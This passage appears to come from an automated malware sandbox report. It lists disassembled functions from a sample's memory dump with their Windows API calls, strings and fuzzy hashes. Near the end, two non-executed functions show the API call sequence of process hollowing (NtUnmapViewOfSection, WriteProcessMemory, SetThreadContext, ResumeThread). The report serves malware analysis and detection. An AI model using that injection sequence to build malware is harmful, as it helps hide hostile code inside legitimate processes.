Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000,00000000), ref: 004154E9

_free.LIBCMT ref: 0041DA30

Strings

Pacific Daylight Time, xrefs: 0041D914
Pacific Standard Time, xrefs: 0041D8E5

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time
API String ID: 2155170405-1154798116
Opcode ID: bb60a02eea3537b26924ce13d6dae767d8bca861c706ac0be274237338cfa6d8
Instruction ID: 040ce8c686c75568376863a9809982f8b495f893015502614a6789f1706dce94
Opcode Fuzzy Hash: bb60a02eea3537b26924ce13d6dae767d8bca861c706ac0be274237338cfa6d8
Instruction Fuzzy Hash: B251D8F1E00219ABCB20EF76DD819EA77BCAF45314B50017BE42497291E7389EC6CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00411803, Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00411735), ref: 00411825
GetFileInformationByHandle.KERNELBASE(?,?), ref: 0041187F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00411735,?,000000FF,00000000,00000000), ref: 0041190D
__dosmaperr.LIBCMT ref: 00411914
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00411951

Part of subcall function 00411B79: __dosmaperr.LIBCMT ref: 00411BAE

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 00472e01cf4d87411616069f0d7d434b85cd1c88de39d2c6aac5915a82620d42
Instruction ID: d274835a22ada6365d67a3fd31ba40142e4e5efe742fd0fdd0ace425437cd848
Opcode Fuzzy Hash: 00472e01cf4d87411616069f0d7d434b85cd1c88de39d2c6aac5915a82620d42
Instruction Fuzzy Hash: 0A416FB5910208AFCB24DFA5DC559EFBBF9EF88300700442EF956D3220E6349985CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00408629, Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1216sleepCOMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(00000000,00000000), ref: 00408763
Sleep.KERNEL32(00001388), ref: 0040944F

Strings

152138533219, xrefs: 00409485

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateDirectorySleep
String ID: 152138533219
API String ID: 3988616660-2264522534
Opcode ID: 1fa704bc0122b0f369425ccd3f7781cec0b276ba595f597c569c77e1f7b2508a
Instruction ID: 78297d644fef08c92a0f5307ffaf98be58608cc5950f95d6760c18d9f0eddcdb
Opcode Fuzzy Hash: 1fa704bc0122b0f369425ccd3f7781cec0b276ba595f597c569c77e1f7b2508a
Instruction Fuzzy Hash: 81923671A001049BEB08DF38CD8579DBB32AB42314F50867EE499B72D6DB3D99C58B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406E83, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 00406E95
GetFileAttributesA.KERNEL32(?), ref: 00406EA7

Strings

RQ-}, xrefs: 00407106

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesCreateDirectoryFile
String ID: RQ-}
API String ID: 3401506121-3262761053
Opcode ID: 0fe1578a4fc160b2a1fadab0442cac3032001dad13da2a4b33d869cceb1e45f5
Instruction ID: 19fdfd9d68963fd5cd20397d210cd5fa53fbcab5af73ce7d1a805281eea9e77f
Opcode Fuzzy Hash: 0fe1578a4fc160b2a1fadab0442cac3032001dad13da2a4b33d869cceb1e45f5
Instruction Fuzzy Hash: A0518871A001089BEB08EB78DD86B9D7B26DF45314F64063AF805B73C2D63DE9918B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041D967, Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D9DA
_free.LIBCMT ref: 0041DA30

Part of subcall function 0041D80C: _free.LIBCMT ref: 0041D864
Part of subcall function 0041D80C: GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,0042A578), ref: 0041D876

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 32a7c312c9e11bdade10c5322069f8c007b3c6881b3c5d26d8d0bbe9204682d5
Instruction ID: b4438ebd27e0fe3b3ba78e4ac26532b1b5adf5f6eec5d9cf787ac4f8c1669f87
Opcode Fuzzy Hash: 32a7c312c9e11bdade10c5322069f8c007b3c6881b3c5d26d8d0bbe9204682d5
Instruction Fuzzy Hash: 33213BF2E0422597CB30E7269C81EEB77788FC0364F10026BE499A2181DA7C4DC6C59D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA29, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041CA8C

Strings

^SA, xrefs: 0041CA2B

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID: ^SA
API String ID: 269201875-154051897
Opcode ID: f0494b7c96f61bce48558fe6fa7ea348df39f2d3ae51a74188536c639171ff39
Instruction ID: 6034d8ea27f616415ff3ffdc71913a6cbd744896c4c1229f28ba72df701dd8a7
Opcode Fuzzy Hash: f0494b7c96f61bce48558fe6fa7ea348df39f2d3ae51a74188536c639171ff39
Instruction Fuzzy Hash: 50014472C0015DBFCF02EFE99C01AEE7FB5AF08354F144166F914E2161E6358AA1DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00404B45, Relevance: 3.3, APIs: 2, Instructions: 281COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00404B4E

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 65c0dab51505cc491918fe93d02dbf7d21fc286f0e2068e64aa90d652391dbbf
Instruction ID: 6d6f9a4f55fa62413262049a94d9db99ee72b16365296f345659306d095720f9
Opcode Fuzzy Hash: 65c0dab51505cc491918fe93d02dbf7d21fc286f0e2068e64aa90d652391dbbf
Instruction Fuzzy Hash: 25813771A101089BEB08EB79CD85B9E7666EF81304F50463EF505A72D2D77DEAC0CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404C72, Relevance: 3.3, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00404C75

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ad88a0d2f5bf13b68ee6e3c87b3174cb7f9915d9ded82cc177912de3c112bfaa
Instruction ID: 38ec967fc6cca89652e96f46a14f93b666f82d7160196d8141908d1a3359c393
Opcode Fuzzy Hash: ad88a0d2f5bf13b68ee6e3c87b3174cb7f9915d9ded82cc177912de3c112bfaa
Instruction Fuzzy Hash: 5B815771A101049BEB08EB79DD89B9E7666EF81304F50463EF504AB2D2D73DDAC0CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE7, Relevance: 3.3, APIs: 2, Instructions: 276COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00404FEA

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2a43782b65d078830d025db94c37cf8efde5f0e6a378f75bce87730c85e749bf
Instruction ID: 1b496a8202566a01a187d0a2371c9978a2df59dcd6f2c8dad7bd9fd1590a30e3
Opcode Fuzzy Hash: 2a43782b65d078830d025db94c37cf8efde5f0e6a378f75bce87730c85e749bf
Instruction Fuzzy Hash: 83814571A101049BEB08DB79CD85BAE7666EF41308F50463EF404AB2D2D77DDA80CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040510E, Relevance: 3.3, APIs: 2, Instructions: 275COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00405111

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4eaf2605442450ab64009224c5492de6a49cdaccc17830abd995425b9e58ba2b
Instruction ID: b8c174c393774d19d91c100d689e0051ae8876b72677ef2ad20fd36fdb314877
Opcode Fuzzy Hash: 4eaf2605442450ab64009224c5492de6a49cdaccc17830abd995425b9e58ba2b
Instruction Fuzzy Hash: 67813671A10104ABEB18DB79CD85B9E7666EF41304F50463EF404AB2D6D77DDA80CF98

Uniqueness

Uniqueness Score: -1.00%

Function 004049F0, Relevance: 3.1, APIs: 2, Instructions: 96synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 00404A51
GetLastError.KERNEL32(?,00000000), ref: 00404A57

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 4764a7def86980c548cd1876a4be775a90f8cf0cba85ad47475a1515680e16d9
Instruction ID: 1538a0d28656e8d0e6124bc93c7601387912aaaea671caeeb26196c8b1ff13f5
Opcode Fuzzy Hash: 4764a7def86980c548cd1876a4be775a90f8cf0cba85ad47475a1515680e16d9
Instruction Fuzzy Hash: 2B31BF71B000089BCB08CBA9C884BAEB7B1EF85301F60457AE215F7291D73CAA858F5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041169B, Relevance: 3.1, APIs: 2, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c736529f7acadb353fb6955928a0462f49582df703462f5d78acc0b9830c68be
Instruction ID: 1b325ae266a3c71b958860948b0449c9aab02b887ff45276bb3470641ebfa106
Opcode Fuzzy Hash: c736529f7acadb353fb6955928a0462f49582df703462f5d78acc0b9830c68be
Instruction Fuzzy Hash: D12138318011086AEB107B659C46BDF3B28DF41379F110326FA346B2E1C7B85E46C669

Uniqueness

Uniqueness Score: -1.00%

Function 00411973, Relevance: 3.1, APIs: 2, Instructions: 54timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,?,004118AA,?,?,00000000,00000000), ref: 004119A1
SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,004118AA,?,?,00000000,00000000), ref: 004119B5

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: c1a149f45ae8c2ac54a4059c04449602768ca31302f9271c72a05983b67d9f87
Instruction ID: db796711c81c52c4d736926c88087c1d3fe2b9ff757cefbee4cb614f81386a0d
Opcode Fuzzy Hash: c1a149f45ae8c2ac54a4059c04449602768ca31302f9271c72a05983b67d9f87
Instruction Fuzzy Hash: E5111FB2A1010DABCB10DFD5C895EDF77BCAB08310F504667E616E6190EB34EA45CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040705D, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00407096

Strings

RQ-}, xrefs: 00407106

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID: RQ-}
API String ID: 3472027048-3262761053
Opcode ID: 7a3608ac7e0ca981d1884ad4a76a9b1b108bd9deae71ca906686502be47cdc95
Instruction ID: cd3153beea85d7c71e009b5d71d96ff78024b1bb33d521e86780237f9deaf5ca
Opcode Fuzzy Hash: 7a3608ac7e0ca981d1884ad4a76a9b1b108bd9deae71ca906686502be47cdc95
Instruction Fuzzy Hash: 40014971A1004407EB08DB38CD8575E76128BC1358F10863AF848AF3C6C53DE9D0468A

Uniqueness

Uniqueness Score: -1.00%

Function 00414083, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004140CB

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: c993eeedc7c449f13ee9264ab6127133e9661d5c50bfb7284b723448b80e7b6d
Instruction ID: 3d095d306168320866402369d403beb1669284c2e7999e5a8039d735650467a3
Opcode Fuzzy Hash: c993eeedc7c449f13ee9264ab6127133e9661d5c50bfb7284b723448b80e7b6d
Instruction Fuzzy Hash: EFE0A032602920819231A63B7C013EA09A5ABC933AB11037BE628861E1DF7848C7445E

Uniqueness

Uniqueness Score: -1.00%

Function 02100DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02100223,?,?), ref: 02100E02
SetErrorMode.KERNELBASE(00000000,?,?,02100223,?,?), ref: 02100E07

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ffb0ff5cdc79b8b67a99389494403b4efa5a295b2234cba712c4b6c48f0a4ea9
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 93D0123114512C77D7002A94DC09BCD7B1C9F05B66F108011FB0DE91C1C7B0994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00408630, Relevance: 2.5, APIs: 1, Instructions: 980sleepCOMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(00000000,00000000), ref: 00408763
Sleep.KERNEL32(00001388), ref: 0040944F

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateDirectorySleep
String ID:
API String ID: 3988616660-0
Opcode ID: 45b12b1f56b33ce051a154419443b7e665a235c4466a62517317d0022619e9fc
Instruction ID: b59bf4c397ed125275f01cb8d269716e917902c23e65d060e901476d32ddac75
Opcode Fuzzy Hash: 45b12b1f56b33ce051a154419443b7e665a235c4466a62517317d0022619e9fc
Instruction Fuzzy Hash: 61722771A001049BEB18DF38CD8479DBB32AB81314F50867EE499B72D6DB3D9DC58B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040DED0, Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0040DFF1

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 0b520d75a2a301336a80f96c63cdcd5b4f6c9060b703a35bada51c5eff1174a9
Instruction ID: 4176ca7bcb055959b219571ec7c1399d7d044d2a7fefbfca627597252920d3df
Opcode Fuzzy Hash: 0b520d75a2a301336a80f96c63cdcd5b4f6c9060b703a35bada51c5eff1174a9
Instruction Fuzzy Hash: 40313971A002055BC724DEA9C88095EB7A9DF85320B24877FF827D73D2D778D9488799

Uniqueness

Uniqueness Score: -1.00%

Function 0041531F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00415359

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 5b9b3ff5b06060b83a180fecabe560582c40c302df106cdafeb20deb20b3fa96
Instruction ID: 1d6aca65bcf3e25318dfe7d7095636701c7e0c87e9e1967b12b01852e40d3c12
Opcode Fuzzy Hash: 5b9b3ff5b06060b83a180fecabe560582c40c302df106cdafeb20deb20b3fa96
Instruction Fuzzy Hash: 5F111871A0420AAFCB05DF58E941ADB7BF5EF48304F05406AF809EB351D671D911CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00411629, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00411690

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 320449895dae44280f45e36a1c53ebf6393d9d1aeb881ef4eff7373e47e76e92
Instruction ID: 0a5324e662c9dea11abf6723c900be2a4492fdb398a6822fb8763f7ec6b7c5b7
Opcode Fuzzy Hash: 320449895dae44280f45e36a1c53ebf6393d9d1aeb881ef4eff7373e47e76e92
Instruction Fuzzy Hash: 25014472C04219AFDF01AFA99C01BEE7FF4AB44314F14416BFA18E21E1E6758A84D799

Uniqueness

Uniqueness Score: -1.00%

Function 004085A0, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 004041F0: GetTempPathW.KERNEL32(00000104,?,00000000,?), ref: 0040421E

GetFileAttributesA.KERNELBASE(00000000), ref: 0040861C

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFilePathTemp
String ID:
API String ID: 3199926297-0
Opcode ID: 91912bb861bf73b4f831e002d4f1486551130676ddd985623e00d18d7efa65cb
Instruction ID: 61f23e509fb72dcc8a3ec9841a9315deb942860e3ecf1ea9de4037f263276c28
Opcode Fuzzy Hash: 91912bb861bf73b4f831e002d4f1486551130676ddd985623e00d18d7efa65cb
Instruction Fuzzy Hash: AA01DB71D00204DFEB14DBA5E844B9F77BC9714304F41443DD026A72D2D7B95549CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 004159AA, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0040D31C,?,?,0040EBD3,0040D31C,?,0040DD48,E80042F0,75146490), ref: 004159DC

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c37912e603a4fb2f1285a3e89420daa74277cb930431a1fcdcba95ddc05ad7eb
Instruction ID: e35ac5e7cece6743c5da4249d19359c5bf9691d5dcfee95049b00cefedf1e07c
Opcode Fuzzy Hash: c37912e603a4fb2f1285a3e89420daa74277cb930431a1fcdcba95ddc05ad7eb
Instruction Fuzzy Hash: 3CE0E5B1251A10DBE63126665C01BDB7A48DFC13B1F160127AC00D6290CA6CCCC281AF

Uniqueness

Uniqueness Score: -1.00%

Function 0041C770, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0041CB60,?,?,00000000,?,0041CB60,00000000,0000000C), ref: 0041C78D

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d563dfaa9303f0cbcc920a190e9eded9226704e132240de5d493fcab5f594bc8
Instruction ID: 5d3ef887da8b63e3444176331524ca0bdbdc0af9896b585ac3d134a1cc739f81
Opcode Fuzzy Hash: d563dfaa9303f0cbcc920a190e9eded9226704e132240de5d493fcab5f594bc8
Instruction Fuzzy Hash: D7D06C3210014DBBDF128F84DC06EDA3BAAFB48754F014010BA1856120C732E832AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00407000, Relevance: 1.3, APIs: 1, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5475d76fd82979be6ec8cb75e17979c3fb60db44d835053640c69328c5be01d
Instruction ID: 3ed45044d6fc0e33f5cc7460239aaf71fffd9159066e9ea8d2e7d9d25936e5ee
Opcode Fuzzy Hash: a5475d76fd82979be6ec8cb75e17979c3fb60db44d835053640c69328c5be01d
Instruction Fuzzy Hash: B1016771E0020897DB00FFA59D46EE932ACAF48305F85153AFE44A3182E639E5148A99

Uniqueness

Uniqueness Score: -1.00%

Function 0040D350, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(0000EA60), ref: 0040D39B

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 65e732683c0beb8730cac3ed74f0ff7e1c67f6cb79aa3a2aeb6a56bf42600a4b
Instruction ID: 56192f8a3b5947a47e7d08408737810b2d48110ed5a47ff7eecf6b360b68e5ed
Opcode Fuzzy Hash: 65e732683c0beb8730cac3ed74f0ff7e1c67f6cb79aa3a2aeb6a56bf42600a4b
Instruction Fuzzy Hash: E4E08C15F0412463942532BF5D0342D3C154A82A58BD9056EE9023B3C3ECAC1A2A43DF

Uniqueness

Uniqueness Score: -1.00%

Function 0040D300, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(0000EA60), ref: 0040D34B

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8a759e8c669b7acf2817a0cab50b9eab896c5f27cd5ab6a9952455b2fd9235a3
Instruction ID: c7fef5311c69c2d208d8a81326bd0c392893d7a42eaed8679c44eea342d1f34d
Opcode Fuzzy Hash: 8a759e8c669b7acf2817a0cab50b9eab896c5f27cd5ab6a9952455b2fd9235a3
Instruction Fuzzy Hash: 70E08C15F4412063941472BF5D1342D38154A82A58B9505AEE8023B3C3ECBD0A2A43DF

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3A0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(0000EA60), ref: 0040D3EB

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6636f8a59e5773685cb853c1878af7216a5e750d9b6bec6334bcace8225454e5
Instruction ID: d5baa5fc89de899c87e238c3551f3fcafa3748e68ec00422f8a96b2af1cc17f1
Opcode Fuzzy Hash: 6636f8a59e5773685cb853c1878af7216a5e750d9b6bec6334bcace8225454e5
Instruction Fuzzy Hash: CFE08C55F0412063941433FF5D0742E38154A82A68B99056FE9023B3C3ECAD0A2A93DF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004020D0, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 004020EC
CreateProcessA.KERNEL32 ref: 00402145
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040215E
GetThreadContext.KERNEL32(?,00000000), ref: 00402173
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00402196
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 004021AE
GetProcAddress.KERNEL32(00000000), ref: 004021B5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 004021D4
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 004021EF
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 0040222C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 0040225C
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 00402272
ResumeThread.KERNEL32(?,?,?,00000000), ref: 0040227B
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 00402289
VirtualFree.KERNEL32(?,00000000,00008000), ref: 004022A0

Strings

NtUnmapViewOfSection, xrefs: 004021A4
ntdll.dll, xrefs: 004021A9

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: 04ab5baca73f1d7fada38baaa7b89abcd72bdfc087db488689baa73d6d6d751b
Instruction ID: 0e71f42fb7cc77d9bd943e6b41bda9a6dc082800e3d645ecc03e48e1ba3a0098
Opcode Fuzzy Hash: 04ab5baca73f1d7fada38baaa7b89abcd72bdfc087db488689baa73d6d6d751b
Instruction Fuzzy Hash: BA515971A40304BFDB208BA4DC85FAABBB8FF08705F940065F609EA2D0D7B5A955DB58

Uniqueness

Uniqueness Score: -1.00%

Function 02102320, Relevance: 22.7, APIs: 15, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 0210233C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 02102395
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 021023AE
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 021023C3
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 021023E6
GetModuleHandleA.KERNEL32(0042BCFC,0042BCE4,?,00000000,00000000), ref: 021023FE
GetProcAddress.KERNEL32(00000000), ref: 02102405
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 02102424
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 0210243F
